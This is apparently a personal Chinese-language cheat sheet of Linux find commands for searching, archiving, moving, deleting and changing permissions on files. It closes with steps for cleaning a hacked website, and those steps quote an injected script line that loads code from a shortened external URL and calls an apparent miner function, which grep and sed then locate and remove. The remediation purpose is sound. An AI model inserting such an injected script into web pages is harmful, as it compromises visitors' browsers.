find命令
NAME
find - search for files in a directory hierarchy
-a 并且
-o 或者
! 取反
-maxdepth 1 查找深度
+10M 可选参数 b M G c代表字节
关于时间说明 + - 和当前
+4 4 -4
8 7 6 5 4 3 2 now
find ./ -type d -exec chmod 755 {} \; #修改网站程序目录的权限为755
find ./ -type f -exec chmod 644 {} \; #修改网站程序目录下的文件权限为644
find . -type f -mtime -7 -name "*.log"|xargs tar -zcvf log.tar.gz #查找7天内以.log结尾的文件、然后打包为log.tar.gz
find . -type f -name "*.log"|xargs -i mv {} /root/ #查找以.log结尾的文件、并且移动到root目录下
mv `find . -type f -name "*.log"` /root #查找以.log结尾的文件、并且移动到root目录下
find . -type f |xargs ls -l #查找文件并且查看
find . -type f -exec ls -l {} \; #查找文件并且查看
find . -type f -name "*.log" -mtime +7|xargs rm -rf #查找7天前被修改的文件并且删除
find . -type f -name "*.log" -mtime +7 -exec rm {} \; #查找7天前被修改的文件并且删除
find . -maxdepth 1 -type d ! -name "." #查找的最大深度为1、并且不包含 . 目录
find . -type f -a -name "test.log" #-a查找a文件,并且名字问test.log
find . -type f -atime -2 #查找两天内受到访问的文件
find ./ -name '*.sh' #查找以.sh结尾的文件
find ./ -mtime +1 -name '*.sh' #查找1天以前被修改的并且以.sh结尾的文件
find . -type d #查找当前目录下的所有目录
find . -type f -perm 755 #查找当前目录下权限为755的文件
#查找大于10M的文件
find . -size +10M
find . -size +1G
find . -size +1000k
find . -size +1000c
find . -path "./dir1_1" -type d -prune -o -print #排除dir1_1 特别注意如果排除目录,目录后面不要加 /
find . \( -path ./aaa -o -path ./bbb \) -prune -o -print #排除2个目录 特别注意如果排除目录,目录后面不要加 /
find . -nouser #查找没有用户的文件或文件夹
find . -user www #查找用户为www的文件或者文件夹
find . -type f ! -name "file1"|xargs rm -rf #删除其他文件或者文件夹,只保留file1
find . -type f ! -name "file1" -exec rm -rf {} \; #删除其他文件或者文件夹,只保留file1
#or用rsync命令也可以、bbb为空目录
rsync --delete -avzP --exclude=file1 /home/aaa/ /home/bbb/
网站被挂木马,处理方案
#查找文件,并且替换里面的内容,也可以先过滤出来查看
find . -type f|xargs grep sql385_213986_c
find . -type f ! -name "*.jpg" -type f ! -name "*.php"
[root@mail aaaaa]# find . -type f |xargs grep sdfasdfasdf
./ddd1.php:sdfasdfasdf
./ddd3.php:sdfasdfasdf
#网站被挂木马可以用一下,先用grep看一下然后用sed直接替换或删除
[root@localhost /www/wwwroot/888.213986.com]# find . -type f ! -name "*.png"|xargs grep "sql385_213986_c"
./app/database.php: 'database' => 'sql385_213986_c',
./app/database.php: 'username' => 'sql385_213986_c',
#案例:服务器所有JS文件被加入了
document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>')
find . -type f |xargs grep http://t.cn/EvlonFh
find . -type f |xargs sed -i '/e02cf4ce91284dab9bc3fc4cc2a65e28/d' #sed匹配删除这一行